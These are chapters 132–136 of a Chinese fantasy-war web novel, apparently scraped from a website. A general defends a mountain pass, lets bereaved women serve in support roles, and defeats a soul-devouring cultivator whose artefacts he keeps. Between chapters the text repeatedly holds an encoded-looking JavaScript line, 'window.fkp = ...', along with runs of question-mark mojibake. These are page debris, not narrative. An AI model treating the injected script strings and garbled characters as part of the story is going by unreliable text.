敌人刚一撤退,杨笑就立刻指挥众将士打扫战场。把雷石滚木、刀枪弓箭等物再次准备充足;把受损的城墙尽量的修补起来;把受伤和劳累的人换下去;把牺牲的袍泽好生掩埋;把敌人的尸体一把火化为灰烬……。 ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十二回 哪个女子不如男 话说攻城的敌军退去后,杨笑立刻指挥众将士们打扫战场。救治伤兵;修缮城墙;补充物资;清理尸体。 正忙碌间,有人来回报:“禀将军,有附近村子的后备军卒到来。” 杨笑把搬在手里的一块大石头搁到一边说道:“这种事让主管参将给他们安排就是了。” “可是……。”那来禀报的军卒听到杨笑的吩咐后并没有离开,而是面露难色的说道。 杨笑把刚搬起来的石头又放下:“可是什么?” “……将军,您去看看就知道了。”见杨笑有些不高兴,那军卒便吞吞吐吐的说道。 杨笑看了那军卒一眼,然后喊住两个从身边经过的军卒说道:“你们俩,把这块石头搬到那边的缺口去。”说完就跟着那禀报的军卒走了。 那两个军卒看看脚下的那块大石头,都不由的与对方对视一眼,心道:“乖乖,这么大一块石头哪是两个人能搬得动的。”两个人又扭头看看杨笑离去的背影,然后都从对方的眼神里感受到了震撼的心情。最后还是又喊来两个同伴一起把石头搬走了。 哪知道四人费了好大一番力气把石头搬到地方后却被负责指挥的军官训道:“你们四个脑子有坑吗?这么大的石头怎么往城墙上放?” 确实。在盖房子垒墙这方面,杨笑是一个小白。 最后,四个人向主管军官解释一遍后,只得把那块大石头给敲开了再垒到城墙上……。 等杨笑跟着那名军卒来到一处大院时,这时的院子里已经挤了有两三百号人。看到杨笑到来,人群自动分开了一条通道,杨笑走到人群的最里面才明白发生了什么事情:在一群大老爷们中间,站着七八十个女人,其中一个年轻女子穿了一身孝服跪在主管的参将面前,那参将此时正一脸为难的与那穿孝衣的女子相对而跪。 那参将此时正苦口婆心的劝着面前的女子:“我说大妹子,你就别为难我了,我做不了这个主,再说了,军中也从来无此先例呀!” 那女子却是低着头一言不发,既不肯起来,更不肯离去,看情形要是得不到自己想要的结果就誓不罢休的样子。她身边的一群妇女们也一个劲儿的向那参军求着情:“将军,你就答应我们吧!……就答应了她吧!……。” 那参将被弄的实在是没辙了,在地上“邦邦”磕了两个头,说道:“我给你磕过头了啊?也算对得住你还有你死去的家人了啊?你不要再无理取闹了。” 那参将磕完头拍拍膝盖上的土站了起来,一抬头正好看到刚刚到来的杨笑,参将于是大喜道:“哎呀!杨将军,你来的正好,快来劝劝她们吧。” 杨笑上前询问一番才明白了其中的原因。原来,大散关发出招集令后,离的最近的几个村子立刻组织了村子里的后备军赶来支援。院子里的这两三百号人已经是村子里除了老幼妇孺外的所有男丁了,其中还包括十来号年过六旬的老汉。这些人其实大多数也是大散关守军的家属。 西梁境民风彪悍,男子更是人人都有行伍生涯,而西梁女子从小受这种风气的感染也颇具巾帼不让须眉的风范,听说世仇狄绒族打到了家门口,一个个的闹着也要上战场,要为死去的亲人报仇雪恨。而那个穿着孝服跪在地上的女子,听她身边的人说:“将军,她新婚不久的丈夫死在了蘑菇岭,父亲和哥哥连同家里的老公公前些天也接连死在了战场上。家里剩下的人,老的老小的小,这孩子倔强的很,就是想要上战场为家人报仇。将军就答应了她吧!” 西梁境内以保家为国上战场的军人地位最是崇高,军规明定,凡行军中遇战没者出殡,必须向亡者家属行礼,带队之人更是要到灵前祭拜。这条军规自定立以来概莫能外,据说当年的西梁王在一次出巡途中也曾路遇战没者出殡,同样规规矩矩的到灵前祭拜。这也就能够理解刚才那参将为什么要向这重孝在身的女子磕头了。 那女子见杨笑到来,立刻又一路跪到杨笑跟前向他磕头求情,杨笑也同样一撩战袍向那女子深深一拜。面对眼前女子的苦苦哀求杨笑也很是为难,那女子哀求道:“民妇只求为父兄报仇,为丈夫报仇,还望将军成全!” 对于女子一家人的遭遇杨笑感同身受:“可我西梁从无女子上战场的先例呀!” “没先例并不代表不能,自古多少巾帼英雄哪一个不是在战场上留下了千古美名。民妇虽不敢自比先辈英杰,但也有一颗上阵杀敌的心。”那女子争辨道。 杨笑劝道:“战场之上刀枪无眼,那些狄绒族人又个个凶悍无比,你一个妇道人家,又这般单薄瘦弱,就是上了战场也是白白的妄送性命呀!” 那女子不依不饶:“民妇在家也曾干些粗重活计,也有一些力气。” “……。” 不等杨笑说话,在场的众妇人便七嘴八舌道:“鞑靼们都杀到家门口了,与其城破之时受人凌辱而死,不如就此拼了,就是死在战场上也落得个干净利落。” 那女子也说道:“民妇绝不做将军的累赘,若是不幸被俘,民妇宁愿一死,到时候还望将军赐民妇一箭!” 众妇人也异口同声道:“宁愿一死!” 就在杨笑左右为难之际,一名军卒来报:“将军,城外有情况。” 杨笑闻言连忙转身就要走,众妇人立刻拦住逼问道:“将军还没有答复我等!” 杨笑着急城外的情况于是干脆答应道:“好!我答应你们。” 众妇人闻言全都面露喜色,不料杨笑又接着说道:“不过,只限于在城内搬运物资,照看伤病,没有命令不得登上城墙半步!” 众妇人你看看我,我看看你,显然都对杨笑的这一决定不太满意。 “那什么时候会给我们命令?”有人问道。 杨笑沉默一下后回答道:“等我西梁男儿全都战死之后。” 众妇人还想要再说些什么,杨笑立刻面色一变呵斥道:“这是最后的底线?你们现在已经是军中一员,服从命令乃是天职!” 众妇人这才不再说什么。 临走之前,杨笑随口吩咐主管参将把替换下来的军卒全部派到城墙上去,说完便快步离去了。 ??????? ??????? ??? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十三回 噬魂(一) 等杨笑来到城墙上时,顺着放哨军卒手指的方向望去,只见远处黑压压的狄绒族人竟然在一点点的往后退去。杨笑皱眉望着一直退成一条黑线的狄绒族大军,想来想去也想不明白他们这到底是想要干什么,这么大老远兴师动众的来了,就这么撤回去了?就算是打死杨笑他也不会相信的。既然想不明白,干脆就不去想了,大不了兵来了用将挡,水来了自然用土掩,眼下最要紧的是加紧修补加固受损的城墙,准备急需的城防物资。 就在杨笑率领大散关众将士们忙着修缮工事,搬运物资,准备迎接狄绒族大军下一波次的冲击时,两道紧急军情送到了圣京城。 一道是藩族大举进犯,望山府当远县守将单泽涛与县令洪庆义,二人率领全城军民与藩军战至最后一刻,同全城百姓一道以身殉城! 圣京城传出旨意:追封二人侯爵之位,准许世袭三代! 另一道是,狄绒族大军从台阶山西端与茫茫戈壁的交界处,冲破了西梁军的防御,向飞石城扑来。大将封常青已调集人马在飞石城一线与狄绒族大军对峙了起来,并且已经发生了数场激战,双方互有胜负,但总体形势不容乐观。 圣京城传出旨意:西梁境十五岁至五十岁,凡能战者全部就近应招!关内各地州府郡县限半月之内将现有兵力扩充三倍以上! 一朝令出,整个大周王朝全都动员了起来……。 再说杨笑这边。 邻近傍晚时又有附近几个村镇的村民赶到了,前后应招赶来的村民大约有上千人,有了这些人的加入修缮城墙和准备物资的速度也加快了一些。 这些应招而来的村民们虽说大部分的年纪都有些大了,但这些人的生活经验很充足,修理起损坏的器具来当真是多快好省。在几个瓦匠的指挥下受损的城墙修补的又快又结实;在几位老郎中的医治下很多受伤的将士得到了妥善的治疗,甚至还有不少已经一只脚踏进鬼门关的人因此挽回了性命;更有甚者在几位老木匠的指挥下连夜赶制出一台抛石机来。 就在杨笑他们忙得不可开交时,在狄绒族大军的一座大帐篷里,正有一高一矮,一胖一瘦两个男子。 那个又高又瘦的男子长了一头打着卷的长发,一双大眼装在深深凹陷下去的眼窝里,把当间的鼻梁衬托的像是一堵高墙一般。消瘦的脸颊让两个本就突起的颧骨更惹眼了。鼻子下面两撇小胡须,一双薄嘴唇下面连着一个尖尖的下巴颏,下巴上一撮小胡须还往前面弯弯的翘了起来。 这人不但脸上没肉,身上也是瘦的仿佛就剩松垮垮的一张人皮了。与此人的瘦骨嶙峋相反,那个矮个子就圆润的很,短胳膊短腿小眼睛小鼻子的,就差胖成一个球了。 此时的两个人,正被一群衣不遮体的美貌女子围在中间尽力的讨好着。两个人怀里搂着,手里抱着,一会儿亲亲这个,一会儿又摸摸那个,左拥右抱真是好不快活。帐篷外一名狄绒族将领听到帐篷里传来的淫声荡语,他深呼吸一口气后向帐篷内的人说道:“二位大人,前面的大散关实在是块难啃的硬骨头,二位大人是不是……?” 狄绒族的将领努力的使自己的语气听起来平和亲切些,若不是知道里面的两个人身份特殊,是自己无论如何招惹不起的存在的话,以这两个人这些天的所做所为,他早就提刀进去把二人大卸八块了。 帐篷里正在快活的两人听到帐篷外传来的声音后,其中的矮胖子满不在乎的回道:“知道了,明天我们兄弟俩就去走一遭。” 那男子在说话时,他的目光甚至都没有从怀里女子那对白嫩高耸的胸脯上离开。 帐篷外狄绒族的将领强压着心中的怒火转头离去……。 夜色昏沉。大散关的城墙上依旧灯火通明,除了城墙上不断有忙碌的人影穿梭外,四周的一切全都是死一般的寂静。 城墙下,白天的战斗中留下来的一具具尸体,横七竖八的堆的到处都是。那一堆堆的尸体,在城墙上的火光下映照出一块块斑驳的影子。 火光跳动,影子也跟着跳动。 这些死尸有许多都睁着眼睛,张着嘴巴,从他们凝固在脸上的表情,还有那双空洞的眼睛里,还能看到他们面对死亡时的恐惧。 满地流淌的鲜血也已经干枯成了一片片厚厚的,毫无生气的黑色斑块。 四周的一切都是那么的令人毛骨悚然,就连天上的月亮也害怕的躲在云层里,只敢露出半张脸来悄悄的往下看。 就是在这片充满死亡和恐惧的城墙下,却有一个身影陶醉其中。 那是一个男子的身影。一件宽大的袍子把他全身上下都罩的严严实实的,只有在风吹过的时候,才会偶然间从那顶大帷帽下露一点点面容来。在微弱的火光下可以看到,那是一张惨白无比的脸。 黑影站在城墙下的阴影里深深的吸了一口气,用略显尖锐的嗓音悠悠的说道:“啊!好美妙的味道,这是死亡的味道。” 黑影用鼻子使劲儿的嗅着四周的气息,那些死尸散发出来的腥臭的味道,对他来说就仿佛这世间最好的美味。 过了一小会儿,那黑影从对死亡气息的沉醉中清醒过来,用一只和他的脸一样惨白的手从怀里掏出一只小罐子来。那罐子圆圆的,刚好被他把在手中。黑影把小罐子的口对准地上的尸体,嘴里开始念念有词,很快一团黑色的烟雾从那只小罐子里喷了出来。 那团黑色的烟雾忽忽悠悠的飘向那些尸体,把他们一个个的包裹住,然后那些尸体上便有一个个淡淡的人影飘了出来。那淡淡的人影仿佛没有半点的意识,任凭那团黑雾拉扯着钻进那只小罐子里,只有到最后一刻才会发出一声只有那黑袍人才能听见的,悠悠的,阴森森的惨叫声。 收完一个人影后,那黑袍人立刻又去收下一个。一个接一个的人影被他接连收进了那只小罐子里,不一会儿地上的一堆尸体就让他吸收了个遍。吸收完这一堆尸体后,黑袍人立刻又转身去吸收下一堆尸体。 就在那个黑袍身影正忙的不亦乐乎时,城墙上的人发现了下面的异常。 “喂!谁在那里?”一名西梁军卒警惕道。 这一声呼喝似乎惹恼了那个黑袍人,只见他把手一扬,一个黑乎乎的东西就扣在了那个军卒的脖子上。那军卒被脖子上的古怪东西卡的有些喘不过气来,他在慌乱之中使劲儿的想要把扣住自己脖子的东西给拿下来,可那个东西扣的死死的,无论他使多大的力气也无济于事,他的脸很快就被憋的通红。这时城墙下的黑袍人把手臂做了个猛然往后拉扯的动作,那名军卒便如同被人拽着一般,从高高的城墙上掉了下来。 军卒摔在地上“哇哇”的吐出几口鲜血来,躺在地上动弹不得。那黑袍人不慌不忙的走过来,蹲下身子,抱住那军卒的脑袋对着他的脸上使劲儿的一吸,一个与那军卒长的一模一样的人影便脱离了他的躯体被吸了出来。那个人影的表情既痛苦又惊恐,它奋力的挣扎着,惊叫着,但还是抵抗不过那脱吸力,最后还是一点点的从躯体里被剥离出来,被吸入了那黑袍人的口鼻之中。 黑袍人把那军卒的魂魄吸入身体里后,露出了一个极为享受的陶醉表情,似是在细细的回味着世间最美妙的味道:“啊~!咝……生人的味道真是美味无比呀!” 这边的动静引起了其他西梁军卒的注意:“什么情况?” “……谁在那里?” “……有敌情!……城墙下面有人!” “……。” 不断的有人发出告警声。 有人举着火把照向城墙下面,却正好看到了摔下城墙的袍泽,魂魄被那黑袍身影吸走的画面。这让人毛骨悚然的恐怖一幕吓坏了城墙上的西梁军卒:“有鬼!有鬼!是鬼呀!……。” 惊恐的叫声吸引了更多人的注意:“在哪里?” “在那里!在城墙下面!” “快去通知杨将军!” “……!” 越来越多的人发出了叫喊声。 更多的人举起火把照向城墙下。 城墙上的叫喊声似乎让那黑袍身影很不高兴,他一扬手,又一名西梁军卒被扯了下来。 不过万幸的是,这名军卒并没有像上一个人那样直接摔到地面上。一个身影从城墙上飞掠而下,把那名军卒稳稳当当的接到了地面上。 正是闻讯赶来的杨笑。 那黑袍人看到杨笑后桀桀怪笑一声道:“有点意思。” 对于惨害袍泽的凶手杨笑又怎会手软,他大喝一声:“装神弄鬼,先吃我一刀!”说着便跃身而上。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十四回 噬魂(二) 呛啷一声,杨笑人还在半空,长刀已然出鞘。一道雪亮的刀光对着那黑袍人当头劈下。 那黑袍人见杨笑二话不说上来就砍,竟是完全不将杨笑放在眼里。他轻笑一声:“还是个狠人。” 说话的同时,黑袍人移动脚步轻易地避开了这一刀。 杨笑一刀未中立刻双足一蹬,身子往前猛的一窜,同时手中刀变竖劈为横斩,向那黑袍人的小腹位置切去。 那黑袍人也是双足一踏地面,向后凌空飘去,轻松潇洒的又躲开了这一刀。 黑袍人见杨笑接连砍出的两刀声势迅猛,攻势凌厉,便也不再拖大。他一跃躲开杨笑老远,落地时从宽大的袖口里一掏,抽出一根三尺来长,又细又直的棒子来。 那根棒子通体都是白色,上面还长满了一根根,一条条,既像羽毛又像是纸片一样的东西。杨笑看到他手里的那根棒子,第一个想到的,就是民间办丧事的时候,孝子贤孙们手里举着的哭丧棒。 没错。那不是像,那根本就是一根哭丧棒,只不过,它不是一根普通的哭丧棒。 哭丧棒在手,黑袍人顿时拿出一副天下我有的气势来:“小小凡人也敢在我面前放肆!”他把手里的哭丧棒当做一柄利剑似的挽出一朵“剑花”来,然后一跺脚向杨笑杀来。 黑袍人一棒杀来的时候杨笑也没闲着,同样挥刀杀了过去。 二人刀棒相交,“当”的一声响,溅射出一片火花来。 那黑袍人讶异道:“原来也是个练家子!你隐藏的倒是挺深,报上你的来历,爷爷招魂棒下不死无名之鬼。” 杨笑横刀于前厉声回道:“想知道的话就问我手里的刀吧!” 杨笑言罢再次揉身而上,那黑袍人也举棒相迎,二人你来我往叮叮当当打出一片片火花来。 那黑袍人手里的哭丧棒也不知道是用什么做的,竟是坚硬无比,几个回合下来把杨笑的刀口上打的全都是大大小小的豁口。 黑袍人见状哈哈大笑:“区区凡铁也敢跟我手中的灵器相比,看招!” 黑袍人一棒打下,杨笑忙举刀去挡,“当”的一声脆响,杨笑手里的长刀竟然从当间断成了两截。 那根哭丧棒打断杨笑手里的钢刀后,下落的势头竟是不减反增,继续朝着他的肩头打下来。杨笑面色一惊,连忙一个拧身,险之又险的躲过了这一棒。 黑袍人一招见功自然不会就此罢休。哭丧棒打到半路时方向一变,朝着杨笑的腋下削去。杨笑后退一步上身往后一仰,同时脚下用力向后翻去。黑袍人的招魂棒紧追不舍,杨笑连翻了几翻才躲开了这要命的连环一击,同时也与那黑袍人拉开了一点距离。 白天的战场上双方死了那么多人,自然少不了有兵器遗落在地面上。杨笑的双脚刚一落地,立刻脚尖一点将一把狄绒族人遗落的弯刀踢了出去。 那柄弯刀旋转着飞向黑袍人的面部,黑袍人的哭丧棒轻易的就挑开了飞来的弯刀。 刚挑开弯刀,迎面而来的又是一把杨笑丢来的断刀。挡开断刀后,紧接着竟又是一具尸体劈脸砸了过来。 接二连三的被扔东西让那黑袍人多少有几分恼火。 杨笑丢出断刀和尸体后,趁着黑袍人格挡躲闪的间隙,一把抓起一根斜插在地上的长枪,然后他大步一踏,大叫一声向前跃出。 杨笑整个人腾在空中与手里的长枪几乎连成了一条直线,用尽全身的力气连同他整个人都向那黑袍人刺了过去。 黑袍人挑开断刀又一脚踢开了尸体,可接连飞来的兵器和尸体遮挡了他的视线,当他踢开那具尸体后还不等他看清眼前的事物,一朵鲜红的枪花就已经刺到了眼前。 黑袍人面色一惊,眼花缭乱间便看到杨笑大叫一声一枪刺来。 杨笑的长枪来的太快,他手里的哭丧棒这时候跟本来不及收回来。眼见这一枪避无可避,只好猛吸一口气,把脚步一沉,硬生生的受了杨笑的这一枪。 这一边,杨笑眼见着就要刺中那黑袍人,哪知那黑袍人的身上腾的冒出一股磅礴的黑色气息来。此时此刻杨笑的攻势就如那离弦之箭一般,就是想收也收不回来了。于是,他一咬牙,大喝一声,拼尽全力不管不顾的一枪刺了过去。 这一枪势在必得,就算是刺不死对方也务必要将其重创。 声势不俗的一枪刺在了黑袍人的小腹上,却没有出现意料中的一穿而过。 一攻一防两股力量全都做用在那根枪杆上,长枪根本承受不住这股力量,那一刻,原本坚固锋利的长枪竟是那么的纤细脆弱,它甚至都来不及弯曲一下,就从枪头到枪杆全都被巨大的力道给炸了个粉碎。 手里的长枪崩碎了一地,杨笑收势不住一下子冲到了黑袍人的跟前,差一点就要跟他撞个满怀。 看着手里仅剩的一小截枪杆,杨笑简直不敢相信眼前的一切。知道修道之人的身躯强壮无匹,可也不至于强成这样吧?自己的全力一刺别说伤到人家,就是连人家的衣服也没有刺破一点。自己也多少有点修为,也知道自己的身体异于常人,可是不是真的能到刀枪不入的境界他自己也不清楚,也从来没有试过,必经这些年来在战场上也没有谁能近得了他的身。 这一刻杨笑的脑子里各种念头飞快的闪过,可眼前的形势危急万分,跟本容不得他多想。那黑袍人似乎被杨笑的这一枪给彻底的激怒了,只见他沉喝一声,一掌向杨笑拍来。杨笑见势不妙连忙抽身想要躲开,可被激怒了的黑袍人哪里会给他这个机会,再加上两个人又离的实在是太近,杨笑避无可避被一掌拍了出去。 杨笑被一掌拍出去老远,爬在地上一连咳嗽了好几声才缓过气来。他擦了擦嘴角上的血迹抬头看向那黑袍人,只见那黑袍人浑身黑气缭绕足足腾起一丈多高。 黑袍人咬牙切齿的缓缓开口道:“你这该死的杂碎,我还真是有些小瞧你了。” 杨笑往地上啐了一口血,从地上爬起来,他紧握双掌轻喝一声也把身上的气机显露出来。 那黑袍人见了呵呵冷笑一声道:“练气六层,看样子就要到第七层了,呵呵呵呵……还真是遗憾呢,我可是比你足足高出了三层。话说,你刚才是怎么把身上的气息隐藏的半点不露的?要是你肯乘乖儿说出来的话,说不定我会给你留个全尸。” 杨笑哪里会听他在那里啰哩吧嗦,毫不客气的回道:“少废话,要打的话就尽管放马过来。” “呦!还真是不见棺材不落泪呀!那就让你看看我真正的实力吧。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十五回 噬魂(三) 黑袍人说着把手里的哭丧棒一挥。 就在杨笑准备好下一秒就要与这黑袍人对撞在一起来一场恶战的时候,却看到那黑袍人又把那只小罐子掏了出来。 黑袍人把小罐子举过头顶,同时嘴里开始念念有词,也不知道他碎碎念念的磨叨了些什么,然后就见他把那只黑乎乎的小罐子朝杨笑的方向一扣,那一团黑雾又从小罐子里飘了出来。不同的是,这一次飘出来的黑雾并没有去吸那些死人的魂魄,而是在半空中一阵蠕动后变成了一个恶鬼模样的东西。 那恶鬼在半空中刚一成形,黑袍人便用手里的哭丧棒一指杨笑,口里轻喝一声:“去!”恶鬼得到命令后立刻向杨笑扑去。 杨笑还是头一回遇到这种怪物,至于该如何对付它,杨笑跟本没有半点头绪,只好卯足了劲儿一拳向那怪物砸去。可那黑雾化做的恶鬼跟本就没有半点实体,杨笑的拳头打在它身上就如同打在空气中一样,跟本没有一点感觉,就更不要说伤到那恶鬼了,反而被那恶鬼缠住手臂窜到了身上。杨笑心中惊?,连忙手舞足蹈想要摆脱这该死的鬼东西,哪知挣扎了半天竟是一点用也没有。 黑袍人看着杨笑的狼狈样子发出一阵阴森森的怪笑来:“哈哈哈……你就不要浪费力气了,还是乖乖儿的做我的养料吧。” 说时迟那时快,黑袍人的话音刚落,那附在杨笑身上的恶鬼立刻从杨笑的眼耳口鼻等窍穴处钻到了他的身体里。 那恶鬼一进入杨笑的身体里,杨笑立刻全身上下一僵,定立在当场,脸上也立刻透出一片死灰之气来。此时的杨笑全身上下除了眼睛还能动外,其它地方跟本就丝毫不听使唤。杨笑的心里害怕极了,他疯狂的鼓动全身的气机,想要把那古怪的东西从自己的身体里赶出来,可无论他如何运转身上的气机也是无济于事。 黑袍人桀桀怪笑着:“不要白费力气了,没有用的,你就乖乖的交出你的魂魄吧!桀桀桀桀……。” 黑袍人说着就走到杨笑的跟前,一把抱住他的头颅,像吸食那些死尸一样在杨笑的脸前用力的一吸。杨笑立时感到一阵天旋地转,眼前的一切都开始扭曲变形,他仿佛感觉到自己的意示开始一点一点的,慢慢的脱离自己的身体向外飞去。 同时,一个与杨笑长的一模一样的影子也从他的身体里一点一点的被剥离了出来,向那黑袍人的口鼻而去。那个影子的表情极其痛苦,不住的挣扎着。黑袍人看着杨笑魂魄的痛苦表情简直不要太高兴:“哈哈哈哈……来吧!来吧!修道之人的灵魂最是美味最是大补了。” 杨笑的魂魄一点点的接近那黑袍人的口鼻,眼看着就要被他吸进去。 就在这千钧一发之际,杨笑的魂魄突然之间双眼中金光一闪……。 眼冒金光的魂魄轻而易举的就脱离了那黑袍人的控制。黑袍人发觉杨笑的魂魄异常后大惊失色,他刚想要放开杨笑向后躲避,却已经迟了一步。只见杨笑的魂魄眼睛里金光一闪,双掌一合,重重的拍在那黑袍人的太阳穴上。 黑袍人一下子被拍的七窍流血,直直的站在那里没了动静。而杨笑的魂魄却并没有就此罢休,只见他一只手往黑袍人的头顶上一插,然后一提……。 一个与那黑袍人一模一样的影子就被提溜了出来。 魂魄一经离体,那黑袍人的身体“扑通”一声便倒在了地上。此时那黑袍人的魂魄神情呆滞,就那么被杨笑的魂魄提在手中没有一点反应。而杨笑的魂魄则露出一个得意的笑容来,把黑袍人的魂魄提在空中,然后仰头张口,“啊呜”一声,一口就吞了下去。 把黑袍人的魂魄吞下肚子后,杨笑的魂魄打了一个饱嗝,吐出一口浊气来,而杨笑魂魄的颜色也凝实加深了几分。他满意的摸了摸肚子,然后抬手就把钻到自己身体里的恶鬼给拎出来随手丢在一边,这才不慌不忙的回到了自己的身体里。 那恶鬼没了主人的控制,也变的神情呆滞了起来,然后就一点一点的缩回到那只小罐子里头去了。 这时候杨笑也重新清醒了过来,他看着眼前已经没有了丝毫生气的黑袍人,一下子有些弄不明白刚才到底发生了什么事。他一只手扶着额头,摇了摇还有些疼痛的脑袋,立刻就有一股胀痛感袭来,那种感觉就像是得了重感冒似的,疼的杨笑咧着嘴咝咝啦啦的吸了一口凉气。 这时候,从城墙上传来了一阵欢呼声,城墙上的西梁军挥舞着手中的火把、旗帜还有兵器为他们的杨将军的胜利而欢呼。 杨笑回过神来,抬头向城墙上望去。看到他们的高兴劲儿,杨笑顿时觉得脸上有些发烫,刚才自己差一点就要被人家给弄死了,到底是怎么稀里糊涂的就打赢了他自己是一点印象也没有。不过既然能鼓舞大家的士气总归是一件好事,想到这里杨笑只好冲城墙上摆摆手,露出一个尴尬的笑容来。 杨笑定了定神后走上前去,伸手掀开了那黑袍人罩在头上的兜帽,一张惨白的脸露了出来。 那是一张极其惨白的男子的脸庞。那张脸在惨白中透出一点乌青色,就好像一个已经死了好多天的人似的,看上去有些瘆人。如果抛开他那张毫无血色的面孔来看的话,这个黑袍人的长相还是可以的,深眉大眼,深眼窝,高鼻梁,薄嘴唇。杨笑看着那黑袍男子的脸皱了下眉头,露出一个嫌弃的表情来,又把他的兜帽给盖了回去。 把黑袍男子的脸遮住后杨笑的目光落在了他左手握着的小罐子上。那个小罐子黑不溜秋的,看上去并不怎么起眼,但是从那里面跑出来的恶鬼给杨笑留下了深刻的印象。 杨笑盯着那只小罐子,左看看,右看看。兴许是没了主人掌控的原因,这会儿的小罐子看上去普普通通,也看不出有什么特别的地方。 杨笑伸出手去拿那只小罐子。手伸到一半,又想起那恶鬼这会儿可是还在里面呢,吓得他赶紧把手又缩了回来。杨笑想了想,又从地上捡起一根小树枝,用树枝把那个小罐子从黑袍男子的手里小心的给扒拉了出来。杨笑用树枝小心的捅了几下那个小黑罐子,见它一直没什么动静,这才壮起胆子小心翼翼的把它拿了起来。 小罐子的表面有一点粗糙,一只手刚好能把住它那圆溜溜的肚子,拿在手里有一种微微的,温热的感觉。罐口几乎跟它的肚子一样大,里面就像一个无底洞一样,黑乎乎的什么也看不到。 杨笑盯着那小罐子的口在心里想道:“这么点的小玩意儿是怎么把那个大家伙给装进去的?” 他把小罐子口朝下往外倒了倒,什么也没有倒出来,又使劲儿的倒了几下,还是什么也没有。杨笑又闭上一只眼,就着亮光往那黑乎乎的罐子里使劲儿的看了看,他小声的嘀咕道:“什么也没有哇!” 他把那只小罐子放到一边,又把目光转向黑袍男子右手里的哭丧棒。那根棒子沉甸甸的,与小黑罐子的温热不同,那棒子入手一片冰凉之感,就好像刚从水井里捞出来的石头似的。棒子像竹竿一样也是一节一节的,上面那一层像白纸片似的东西也不知道是什么做的,竟是像刀片一样锋利无比。杨笑用手试了一下那些“白纸片”的锋刃,完全不输这世间最锋利的兵刃。 “也不知道这东西是什么做的,竟然这般坚固锋利,这要是在身上挂一下的话,少不得要皮开肉绽。”杨笑这么想着。 “看看他身上还有什么好东西。”放下棒子杨笑又在那黑袍男子的身上翻找了起来。 把那黑袍男子的尸体上上下下的翻了个遍,就只找到了一本书。 “吸魂大法。”杨笑一个字一个字的念着。 ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十六回 胖头陀和瘦头陀 从今天开始本棍要拒绝短小,做一个又长又大的男人!七千字送上。 “这是什么功法?一看名字就知道不是什么正经东西。”杨笑嫌弃道。 杨笑一想起那黑袍男子吸食人魂魄的场景,不由得就起了一身的鸡皮疙瘩,一把就把那本书给撇到了火堆里。 收起小陶罐和那根哭丧棒,杨笑起身就要往回走,却忽然又想到了黑袍男子身上的那件袍子。 刚才自己那一枪把长枪都给怼烂了,愣是没有在那件袍子上面留下一点痕迹。 “那一定也是一件宝贝。” 杨笑想到这里,又转身回来把黑袍男子身上的那件袍子给扯了下来。 收起那件黑袍子后,杨笑一脚就把尸体给踢进了死人堆里,却又无意间瞥见了那本被丢进火里的书。 从被扔进火里到现在也有一小会儿的时间了,谁知道那本书竟然无惧火焰的灼烧,在火堆里没有一点要烧着的样子。杨笑又跑过去把那本书从火堆里给捡了出来,拿在手里翻看了一下,除了烧的有点烫手之外也就是在上面沾了一点灰的样子。 “诶?想不到这还是个好东西,有点意思。”杨笑翻看着手上的书痴痴的傻笑道。说完就把书揣进怀里,心满意足的回到了大散关内。 休息了一夜后杨笑的头总算是不那么疼了,这时他才开始好好的查看起那件袍子来。这件袍子也不知道是用什么材质做成的,拿在手上轻柔无比,他翻来翻去的看了个遍也没发现其它的特别之处。 “就这么件普通的衣服竟然就能做到刀枪不破?”杨笑一边想着一边手上用劲儿扯了一下。 结果这不扯不要紧,一扯之下竟把那件袍子给扯出个大口子来。杨笑看着那道口子一边心疼一边暗骂自己太鲁莽:“你说说,你说说,你轻轻试一下不就行了,干嘛要使那么大的劲儿呢?这下好了,被你弄坏了吧。”杨笑一边自责着一边把那件袍子给收了起来:“怎么会这么容易就坏了呢?昨天晚上明明还刀枪不破的呀?算了,还是下次碰到梁赞的时候问问他吧,说不定他会知道是怎么回事。” 杨笑收拾好一切后打开房门走出来,结果发现昨天晚上的事情已经被大散关里的众将士们传的越来越邪乎了。什么恶鬼妖物埋伏在城墙下伺机吃人,什么杨将军与恶鬼大战三百回合,什么恶鬼如何如何厉害,杨将军如何大显神威,最后显出天神金身将那恶鬼给生吞活剥……等等等等……。 总之是把杨笑说成了天上才有,地上难寻的主。 杨笑对此也是无奈中带点尴尬。无奈是因为类似的传言已经不是一回两回了,尴尬是因为自己昨天晚上的表现确实是有点不怎么样,现在想想都感到有点后怕,再被众人这么添油加醋的一传,他自己听起来都有点臊的慌。 臊归臊,该干的事情还是要加紧干。杨笑想到这里,清了下嗓子后就又拿出一副将军的样子,大步流星的向前走去。 